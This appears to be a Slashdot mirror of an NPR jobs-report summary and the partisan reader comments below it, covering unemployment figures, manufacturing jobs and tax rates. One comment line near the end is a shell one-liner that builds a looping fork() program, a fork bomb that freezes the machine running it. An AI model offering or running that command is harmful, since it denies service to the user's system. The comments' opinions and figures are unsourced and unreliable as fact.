Slashdot Mirror
November Jobs Report: Economy Adds 228,000 Jobs; Unemployment Steady (npr.org)
An anonymous reader shares an NPR report: The U.S. economy added 228,000 jobs in November, according to the monthly jobs report from the Bureau of Labor Statistics. The unemployment rate remained steady at 4.1 percent, unchanged from October. "Employment growth has averaged 174,000 per month thus far this year, compared with an average monthly gain of 187,000 in 2016," the agency's Acting Commissioner William J. Wiatrowski said of the report. The number of unemployed people was "essentially unchanged at 6.6 million," the bureau said. Of that number, 1.6 million are considered to be long-term unemployed -- workers who have not had jobs for 27 weeks or more. "Among the major worker groups, the unemployment rate for teenagers increased to 15.9 percent in November," the Bureau of Labor Statistics said. Other groups saw little change from the previous month. As for wages, the agency says, "In November, average hourly earnings for all employees on private nonfarm payrolls rose by 5 cents to $26.55. Over the year, average hourly earnings have risen by 64 cents, or 2.5 percent."
Well, if you don't have the reading comprehension skills to see that they're talking especially about manufacturing jobs, then I suppose that might explain why your who notion of employment revolves around wearing a Walmart smock.
Don't disappoint your bird dog. Go to the range.
Really. So you think that the people who sneak across the border and are up for deportation because they've committed crimes are the ones that would be eligible for higher paying jobs in the sectors we're talking about?
Don't disappoint your bird dog. Go to the range.
This is the number we should be looking at. Did the number of government jobs grow or shrink? You can't fire these people easily and they get a pension for life Public sector jobs will always be a net drain on the economy because they produce nothing of value that can be exported.
Well, then look at it. From the Bureau of Labor Statistics report (the subject of TFA): Employment in other major industries, including mining, wholesale trade, retail trade, transportation and warehousing, information, financial activities, leisure and hospitality, and government, changed little over the month.
Compared to the size of the population, isn't that a rounding error at best?
Not for 228,000 those people. Besides, not all people work. You have retirees, permanently disabled & children that don't participate in the workforce, so the impact is more significant that you might think, especially since it's just one month.
Taking guns away from the 99% gives the 1% 100% of the power.
Compared to the size of the population, isn't that a rounding error at best?
Sorta like a 0.1-0.2mm/month rise is a "rounding error at best" compared to the depth of the ocean, I suppose. Yet we still try to measure it and draw conclusions about the long-term aggregate effect.
These days it only takes about 100k/month to keep up with population growth, so a year at a rate like this and you'd end up with about 1.5 million net new jobs. That's not insignificant.
This has been the rate of growth for about 8 years now, with most of it being under Obama.
Don't hide from numbers just because the party that you don't like is in power, and they are showing good numbers that will make elections tight for next year.
We know that voters will vote with their wallet as the prime consideration. Now we have real problems, that are not being reflected by the economy. However ignoring the numbers, will not help push the agenda, you need to recognize the truth and work with it.
Companies are currently optimistic about how the republicans are deregulating everything. Thus driving a renewed expression of growth.
If something is so important that you feel the need to post it on the internet... It probably isn't that important.
There is a high likelihood of USA attacking Iran if she gotten her rightful appointed throne
I'm not sure if you are trolling or just an idiot. You really think a war with Iran would have been a good thing? The stupidity of that comment is just stunning. Please do the human race a favor and don't reproduce.
I read at +2. If your post doesn't reach that level I will not see or respond to it.
Voters don't vote with their wallet... they vote for whoever promises to shit on the people they don't like, and they don't care if they get shit on a little too.
at that rate if we didn't have new people entering the workforce we'd be at full employment in just under 2.5 years
We are at full employment right now, which the Federal Reserve considers anything below 5.2% U-3 unemployment. We have been at full employment since the summer of 2015. Arguably the definition of full employment may need to change a bit considering the participation rate is lower today than at other times of "full employment" in recent history, but probably not by much.
For instance when we were at 5.2% U-3 in the 90's, U-6 was at about 7.2. When we hit 5.2% U-3 a couple years ago, U-6 was at about 7.6%. This could arguably mean that full employment should be considered closer to 4.8% today, which we reached in early 2016.
As for this month's job figures, remember new people are born and the population is rising. Around 125k jobs per month is what it takes to keep unemployment steady. This is clearly shown by the fact the total number of unemployed mostly kept steady this month (although with population growth a steady number of unemployed does mean the unemployment rate is dropping).
At the 2017 new job rate it would take closer to 12 years to see 100% employment (even if that was technically possible). The reality is we will see this slow growth of jobs for a little while longer until the next recession and then it will bounce back up.
-- All that is necessary for the triumph of evil is that good men do nothing. -- Edmund Burke
Which is actually rather stupid.
Without competent people to receive materials and inspect them, the business is dead in the water. My company had had quite a hard time finding competent people who can understand the manufacturing system, the various technicalities required to inspect materials for conformity, etc. Without these people, product could not be built.
Same for shipping. We have no less than 6 major shipping companies we use. Each has separate packing requirements, documentation requirements, schedules and rates. Add to that the fact that the product is highly sensitive and requires reams of documentation, and special handling and packaging. While it's no rocket science, it's definitely not burger flipping.
When Fascism comes to America, it will call itself Anti-Fascism, and tell you to give up your guns.
I found the CNN headline interesting:
Another strong jobs report: Unemployment rate remains at 17-year low
This on CNN's front page, with their usual "impeach Trump!" stuff above and below. CNN continued:
--
The report also showed that on average weekly paychecks increased by 3.1% over the last 12-months, the first time that reading has topped 3% in nearly seven years
--
When CNN feels obligated to mention that paychecks are rising faster than they have since Bush budgets, that's interesting.
Now, let's see what happens over the next year or so. And yes, a us presidents actions normally take 6-12 months to take hold. And since trump has not pass a single item that really impacted the economy, this remains Obama's.
He has removed a bunch of anti-business regulations that Obama had put in place by Executive Order, so there's that...
Taking guns away from the 99% gives the 1% 100% of the power.
they're talking especially about manufacturing jobs,
They are talking about manufacturing jobs because of political rhetoric, not because it shows any new trends. Manufacturing jobs grew by 126,000 per year from 2010-2016, but of course the White House only factors on 2016 where the was job loss in the sector. If you wanted a more liberal cherry picking of data you would look at 2014 where manufacturing jobs rose by over 200,000 (which is higher than 2017 end of year projections).
Put into context, manufacturing jobs dropped by about 600,000 per year from 2001-2010 until the previous administration turned that around. Perhaps if this White House was able to get manufacturing job growth back to the 600,000 per year we saw in the 60's (adjusted for population size) then that would be a paradigm shift as compared to the last decade. But 100,000-200,000 manufacturing job growth per year is simply the trend we have been seeing for the past 7 years.
But like jellomizer wrote in his response it is more important to look at what type of manufacturing jobs are being added. My assumption is it matches most other job growth, which is a very small amount of high paid professionals and a very large amount of below living wage low skilled jobs.
-- All that is necessary for the triumph of evil is that good men do nothing. -- Edmund Burke
Pay (and prestige) for any job does not depend on the impotance of the job alone - never has. Any business would be in trouble without someone to clean the toilets.
It's not about importance, but about value of and difficulty in hiring (or replacing) 1 additional person, vs the number of people willing and able to do the job. The more that people either want to do the job (because it's cool) or are able to do the job (even if it's a shit job), the less it will pay relative to similar work, and usually the lower in the pecking order it will be.
Socialism: a lie told by totalitarians and believed by fools.
This means we cannot have growth because companies will not be able to hire new people
The low unemployment figures published by the labor department have factored out a huge number of employable people that supposedly "gave up" looking for work (according to labor.) The actual pool of available workers is much larger than what the unemployment number suggests. The is corroborated by the fact that wage growth has been modest despite the low unemployment rate; the pool isn't actually empty yet.
Removing people from the "work force" to improve the unemployment number was an obvious and widely criticized tactic during Obama's time. If this growth continues I predict that at some point the labor department will be forced to correct this and factor people back in, otherwise they'll end up with some absurdly low figure that is difficult to explain. We're getting close to that point now; the calculation is already making "record low unemployment rate" headlines. If it gets into the 3's or even lower there will be "ALL TIME RECORD" headlines at which point the jig will be up and everyone will be questioning the legitimacy of these figures if only because they'll make Trump look good.
Maw! Fire up the karma burner!
Well, it's the 86th month in a row of job-growth, and the whole "world economy is surging" to pick from a WaPo headline today.
Crediting an 11-month administration with 75 previous months of growth, and prosperity 10,000 miles away in economies not that interlocked with America's, would be a stretch.
The other 75 months are no great credit to Obama, either, as he was much-constrained from economic actions by Congress holding that "Power of the Purse". Recovery could have come faster, as up here in Canada, say. Whereas places with even *more* of the "austerity" than what the US Congress inflicted through sequestration and cuts to States, had the triple-dip recession...Britain for example.
But when you totally tank your economy through bank malfeasance (again, Canada never deregulated our banks, so none failed or needed bailouts), you can't help but have growth after while, no matter how badly you mismanage. Kids keep getting bigger; young people need homes, salaries have fallen painfully and labour is cheap. Money is even cheaper, since there's less to invest in.
"Growth" isn't always good. Sometimes is means "things fell really far and are really bad for a lot of people". Things are not remotely yet back to where they would have been if there'd been no bank collapse. A whole generation has had its early employment years sabotaged.
It's passed the House and Senate, albeit in slightly different forms
http://www.businessinsider.com...
You don't need to actually cut taxes to affect confidence - if the perception in the markets is that they will fall that's enough to cause some change in mood.
And both the House and Senate bills cut corporation tax from 35% to 20%, though Trump suggested off the cuff it might only go to 22% to finance other cuts. Still even 35% to 22% is a pretty drastic cut.
The UK rate is 20% in 2016, falling to 18% in 2020.
https://www.gov.uk/government/...
This measure sets the Corporation Tax main rate for each year from the financial year beginning 1 April 2017 to the financial year beginning 1 April 2020, reducing the Corporation Tax main rate by 2% by 2020.
The Corporation Tax main rate for 1 April 2016 is set at 20%. The rate for 1 April 2017 is 19% and sets it at this rate for 1 April 2018 and 1 April 2019. The rate for 1 April 2020 is set at 18%.
Ireland is 12.5%
https://www.idaireland.com/inv...
But that's for trading income. Other rates apply for non trading, financial services, and manufacturing
https://en.wikipedia.org/wiki/...
The EU has declared Advance Tax Rulings of the sort Apple got illegal state aid.
Of course now the UK is leaving the EU, I'm sure it will offer the equivalent of Advance Tax rulings for companies like Apple on profits they move from somewhere else to the UK. I mean, if the UK would have got 0% tax otherwise, even 1% is an improvement.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Sorry to burst your bubble of Canadian Exceptionalism, but Canadian Banks Got $114 Billion From Governments During Recession. this is data based on the Canadian Mortgage and Housing Corporation, and works out to $3400 per capita. This was tenfold the amount Canadian taxpayers spent on the auto industry bailout.